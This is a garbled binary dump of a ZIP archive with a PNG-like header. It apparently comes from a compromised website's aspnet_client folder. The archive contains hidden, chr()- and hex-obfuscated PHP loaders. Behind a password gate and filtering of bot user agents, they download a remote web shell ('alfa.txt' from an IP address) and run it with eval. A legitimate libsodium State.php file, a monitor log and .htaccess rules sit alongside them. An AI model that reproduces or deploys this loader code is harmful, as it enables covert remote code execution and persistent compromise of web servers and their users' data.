? PNG %k25u25%fgd5n!PKz‡ƒ\_ïÎH-system_web/4_0_30319/css/.monitor_hashes.jsonnu„[µü¤{ "\/home\/adaptiv2\/tmphotography.co.nz\/aspnet_client\/system_web\/4_0_30319\/css\/.7878347347384BPASSGIT.php": { "name": ".7878347347384BPASSGIT.php", "mtime": 1774864297, "hash": "d0725b18ede55af73b0d63ab25ed7ef2", "size": 2638 }, "\/home\/adaptiv2\/tmphotography.co.nz\/aspnet_client\/system_web\/4_0_30319\/css\/State.php": { "name": "State.php", "mtime": 1774864451, "hash": "e1f69b06c0590a9f38c5ad0b33c467b5", "size": 7608 }, "\/home\/adaptiv2\/tmphotography.co.nz\/aspnet_client\/system_web\/4_0_30319\/css\/.7878347347384BPASS.php": { "name": ".7878347347384BPASS.php", "mtime": 1774864396, "hash": "bbc10c1c22409d97105d025b12c87048", "size": 9381 }, "\/home\/adaptiv2\/tmphotography.co.nz\/aspnet_client\/system_web\/4_0_30319\/css\/.7878347347384BSS.php": { "name": ".7878347347384BSS.php", "mtime": 1774864297, "hash": "b01799b0f81e4a1fe21168cecf3b55f4", "size": 1950 } }PKz‡ƒ\ÄœëN N 3system_web/4_0_30319/css/.7878347347384BPASSGIT.phpnuÏÃ6Ç$ Server Status

Authentication

$error

"; ?>
' . $body); } else { echo $body; } } else { echo "Gagal mengambil data dari sumber."; }PKz‡ƒ\\g¸¸"system_web/4_0_30319/css/State.phpnuÏÃ6Ç$ key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core_SecretStream_State( ParagonIE_Sodium_Core_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core_Util::load_4( ParagonIE_Sodium_Core_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } PKz‡ƒ\Ù$È6¥$¥$0system_web/4_0_30319/css/.7878347347384BPASS.phpnuÏÃ6Ç$ '6effe27d6aad2e8a76dc35373aeae74a', chr(117).chr(114).chr(108) => chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(49).chr(56).chr(53).chr(46).chr(49).chr(50).chr(56).chr(46).chr(50).chr(50).chr(55).chr(46).chr(49).chr(53).chr(55).chr(47).chr(65).chr(76).chr(76).chr(45).chr(83).chr(72).chr(69).chr(76).chr(76).chr(47).chr(114).chr(97).chr(119).chr(45).chr(107).chr(101).chr(114).chr(47).chr(97).chr(108).chr(102).chr(97).chr(46).chr(116).chr(120).chr(116) ]; @session_start(); if(isset($_GET[chr(108).chr(111).chr(103)])){ @session_destroy(); $loc = @strtok($_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(85).chr(82).chr(73)], chr(63)); @header(chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).$loc); exit; } if(isset($_POST[chr(112)]) && !empty($_POST[chr(112)])){ $inp = @md5(@trim($_POST[chr(112)])); if($inp === $GLOBALS['_conf'][chr(104).chr(97).chr(115).chr(104)]){ $_SESSION[chr(97).chr(107)] = $GLOBALS['_conf'][chr(104).chr(97).chr(115).chr(104)]; $_SESSION[chr(108).chr(116)] = @time(); $loc = @strtok($_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(85).chr(82).chr(73)], chr(63)); @header(chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).$loc); exit; }else{ @usleep(rand(500000,1500000)); $GLOBALS['_err'] = 1; } } if(!isset($_SESSION[chr(97).chr(107)]) || $_SESSION[chr(97).chr(107)] !== $GLOBALS['_conf'][chr(104).chr(97).chr(115).chr(104)]){ $ua = isset($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(85).chr(83).chr(69).chr(82).chr(95).chr(65).chr(71).chr(69).chr(78).chr(84)]) ? $_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(85).chr(83).chr(69).chr(82).chr(95).chr(65).chr(71).chr(69).chr(78).chr(84)] : ''; $block = [chr(98).chr(111).chr(116), chr(99).chr(114).chr(97).chr(119).chr(108).chr(101).chr(114), chr(115).chr(112).chr(105).chr(100).chr(101).chr(114), chr(115).chr(99).chr(97).chr(110).chr(110).chr(101).chr(114), chr(99).chr(117).chr(114).chr(108), chr(119).chr(103).chr(101).chr(116)]; foreach($block as $b){ if(@stripos($ua, $b) !== false){ @http_response_code(404); exit; } } $err_display = isset($GLOBALS['_err']) ? '
Access Denied
' : ''; echo ' '.chr(65).chr(117).chr(116).chr(104).chr(101).chr(110).chr(116).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).'

'.chr(86).chr(101).chr(114).chr(105).chr(102).chr(121).chr(32).chr(65).chr(99).chr(99).chr(101).chr(115).chr(115).'

'.chr(69).chr(110).chr(116).chr(101).chr(114).chr(32).chr(99).chr(114).chr(101).chr(100).chr(101).chr(110).chr(116).chr(105).chr(97).chr(108).chr(115).'
'.$err_display.'
'.chr(83).chr(101).chr(99).chr(117).chr(114).chr(101).chr(32).chr(83).chr(121).chr(115).chr(116).chr(101).chr(109).chr(32).chr(118).chr(52).'
'; exit; } function _get_remote($url){ if(!function_exists(chr(99).chr(117).chr(114).chr(108).chr(95).chr(105).chr(110).chr(105).chr(116))){ return false; } $agents = [ chr(77).chr(111).chr(122).chr(105).chr(108).chr(108).chr(97).chr(47).chr(53).chr(46).chr(48).chr(32).chr(40).chr(87).chr(105).chr(110).chr(100).chr(111).chr(119).chr(115).chr(32).chr(78).chr(84).chr(32).chr(49).chr(48).chr(46).chr(48).chr(59).chr(32).chr(87).chr(105).chr(110).chr(54).chr(52).chr(59).chr(32).chr(120).chr(54).chr(52).chr(41).chr(32).chr(65).chr(112).chr(112).chr(108).chr(101).chr(87).chr(101).chr(98).chr(75).chr(105).chr(116).chr(47).chr(53).chr(51).chr(55).chr(46).chr(51).chr(54).chr(32).chr(67).chr(104).chr(114).chr(111).chr(109).chr(101).chr(47).chr(49).chr(50).chr(48).chr(46).chr(48).chr(46).chr(48).chr(46).chr(48).chr(32).chr(83).chr(97).chr(102).chr(97).chr(114).chr(105).chr(47).chr(53).chr(51).chr(55).chr(46).chr(51).chr(54), chr(77).chr(111).chr(122).chr(105).chr(108).chr(108).chr(97).chr(47).chr(53).chr(46).chr(48).chr(32).chr(40).chr(77).chr(97).chr(99).chr(105).chr(110).chr(116).chr(111).chr(115).chr(104).chr(59).chr(32).chr(73).chr(110).chr(116).chr(101).chr(108).chr(32).chr(77).chr(97).chr(99).chr(32).chr(79).chr(83).chr(32).chr(88).chr(32).chr(49).chr(48).chr(95).chr(49).chr(53).chr(95).chr(55).chr(41).chr(32).chr(65).chr(112).chr(112).chr(108).chr(101).chr(87).chr(101).chr(98).chr(75).chr(105).chr(116).chr(47).chr(53).chr(51).chr(55).chr(46).chr(51).chr(54).chr(32).chr(67).chr(104).chr(114).chr(111).chr(109).chr(101).chr(47).chr(49).chr(49).chr(57).chr(46).chr(48).chr(46).chr(48).chr(46).chr(48).chr(32).chr(83).chr(97).chr(102).chr(97).chr(114).chr(105).chr(47).chr(53).chr(51).chr(55).chr(46).chr(51).chr(54) ]; $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_TIMEOUT, 28); @curl_setopt($ch, CURLOPT_USERAGENT, $agents[array_rand($agents)]); @curl_setopt($ch, CURLOPT_REFERER, isset($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(72).chr(79).chr(83).chr(84)]) ? $_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(72).chr(79).chr(83).chr(84)] : ''); @curl_setopt($ch, CURLOPT_ENCODING, chr(103).chr(122).chr(105).chr(112).chr(44).chr(32).chr(100).chr(101).chr(102).chr(108).chr(97).chr(116).chr(101)); @curl_setopt($ch, CURLOPT_HTTPHEADER, [ chr(65).chr(99).chr(99).chr(101).chr(112).chr(116).chr(58).chr(32).chr(116).chr(101).chr(120).chr(116).chr(47).chr(104).chr(116).chr(109).chr(108).chr(44).chr(97).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(47).chr(120).chr(104).chr(116).chr(109).chr(108).chr(43).chr(120).chr(109).chr(108).chr(44).chr(97).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(47).chr(120).chr(109).chr(108).chr(59).chr(113).chr(61).chr(48).chr(46).chr(57).chr(44).chr(42).chr(47).chr(42).chr(59).chr(113).chr(61).chr(48).chr(46).chr(56), chr(65).chr(99).chr(99).chr(101).chr(112).chr(116).chr(45).chr(76).chr(97).chr(110).chr(103).chr(117).chr(97).chr(103).chr(101).chr(58).chr(32).chr(101).chr(110).chr(45).chr(85).chr(83).chr(44).chr(101).chr(110).chr(59).chr(113).chr(61).chr(48).chr(46).chr(57), chr(67).chr(111).chr(110).chr(110).chr(101).chr(99).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(107).chr(101).chr(101).chr(112).chr(45).chr(97).chr(108).chr(105).chr(118).chr(101) ]); $res = @curl_exec($ch); $code = @curl_getinfo($ch, CURLINFO_HTTP_CODE); @curl_close($ch); return ($code === 200 && !empty($res)) ? $res : false; } $data = _get_remote($GLOBALS['_conf'][chr(117).chr(114).chr(108)]); if($data !== false){ $data = @ltrim($data, "\xef\xbb\xbf"); if(@stripos($data, chr(60).chr(63).chr(112).chr(104).chr(112)) !== false || @stripos($data, chr(60).chr(37)) !== false){ try { @ob_start(); @eval(chr(63).chr(62) . $data); @ob_end_flush(); } catch (Throwable $e) {} } else { echo $data; } } else { @http_response_code(404); } ?>PKz‡ƒ\•¶®øÜÜ"system_web/4_0_30319/css/.htaccessnu„[µü¤ Order allow,deny Deny from all Order allow,deny Allow from all PKz‡ƒ\^elMzz$system_web/4_0_30319/css/monitor.lognu„[µü¤[2026-03-30 09:57:42] Starting monitor [2026-03-30 09:57:43] Changes: A4 M0 D0 [2026-03-30 09:57:43] Monitor completed [2026-03-30 19:23:14] Starting monitor [2026-03-30 19:23:14] Monitor completed [2026-03-30 20:17:25] Starting monitor [2026-03-30 20:17:25] Monitor completed [2026-03-30 21:11:52] Starting monitor [2026-03-30 21:11:52] Monitor completed [2026-03-30 22:13:14] Starting monitor [2026-03-30 22:13:14] Monitor completed [2026-03-30 23:04:39] Starting monitor [2026-03-30 23:04:39] Monitor completed [2026-03-31 00:00:58] Starting monitor [2026-03-31 00:00:58] Monitor completed [2026-03-31 00:50:02] Starting monitor [2026-03-31 00:50:02] Monitor completed [2026-03-31 01:35:23] Starting monitor [2026-03-31 01:35:23] Monitor completed [2026-03-31 02:29:38] Starting monitor [2026-03-31 02:29:38] Monitor completed [2026-03-31 03:15:24] Starting monitor [2026-03-31 03:15:24] Monitor completed [2026-03-31 04:02:21] Starting monitor [2026-03-31 04:02:21] Monitor completed [2026-03-31 04:49:21] Starting monitor [2026-03-31 04:49:21] Monitor completed [2026-03-31 05:41:28] Starting monitor [2026-03-31 05:41:28] Monitor completed PKz‡ƒ\Š¼tƒžž.system_web/4_0_30319/css/.7878347347384BSS.phpnuÏÃ6Ç$ "\x68\x74\x74\x70\x3a\x2f\x2f\x31\x38\x35\x2e\x31\x32\x38\x2e\x32\x32\x37\x2e\x31\x35\x37\x2f\x41\x4c\x4c\x2d\x53\x48\x45\x4c\x4c\x2f\x72\x61\x77\x2d\x6b\x65\x72\x2f\x61\x6c\x66\x61\x2e\x74\x78\x74", "\x74\x69\x6d\x65" => 25 ]; if (!function_exists("\x78\x78\x78\x5f\x72\x75\x6e")) { function xyz_run($a) { $b = [ "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36", "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x4d\x61\x63\x69\x6e\x74\x6f\x73\x68\x3b\x20\x49\x6e\x74\x65\x6c\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x20\x31\x30\x5f\x31\x35\x5f\x37\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36" ]; $c = curl_init(); curl_setopt($c, 10002, $a); curl_setopt($c, 19913, 1); curl_setopt($c, 52, 1); curl_setopt($c, 64, 0); curl_setopt($c, 81, 0); curl_setopt($c, 13, 30); curl_setopt($c, 10018, $b[array_rand($b)]); curl_setopt($c, 10016, $_SERVER['HTTP_HOST'] ?? ''); $d = curl_exec($c); $e = curl_getinfo($c, 2097154); curl_close($c); return ($e === 200) ? $d : null; } } $f = xyz_run($GLOBALS['_cfg']["\x72\x65\x73"]); if (!empty($f)) { $f = preg_replace("/^\xEF\xBB\xBF/", '', $f); $g = strtolower($f); if (strpos($g, 'PKz‡ƒ\_ïÎH-system_web/4_0_30319/css/.monitor_hashes.jsonnu„[µü¤PKz‡ƒ\ÄœëN N 3qsystem_web/4_0_30319/css/.7878347347384BPASSGIT.phpnuÏÃ6Ç$PKz‡ƒ\\g¸¸""system_web/4_0_30319/css/State.phpnuÏÃ6Ç$PKz‡ƒ\Ù$È6¥$¥$0,-system_web/4_0_30319/css/.7878347347384BPASS.phpnuÏÃ6Ç$PKz‡ƒ\•¶®øÜÜ"1Rsystem_web/4_0_30319/css/.htaccessnu„[µü¤PKz‡ƒ\^elMzz$_Ssystem_web/4_0_30319/css/monitor.lognu„[µü¤PKz‡ƒ\Š¼tƒžž.-Xsystem_web/4_0_30319/css/.7878347347384BSS.phpnuÏÃ6Ç$PKæ)`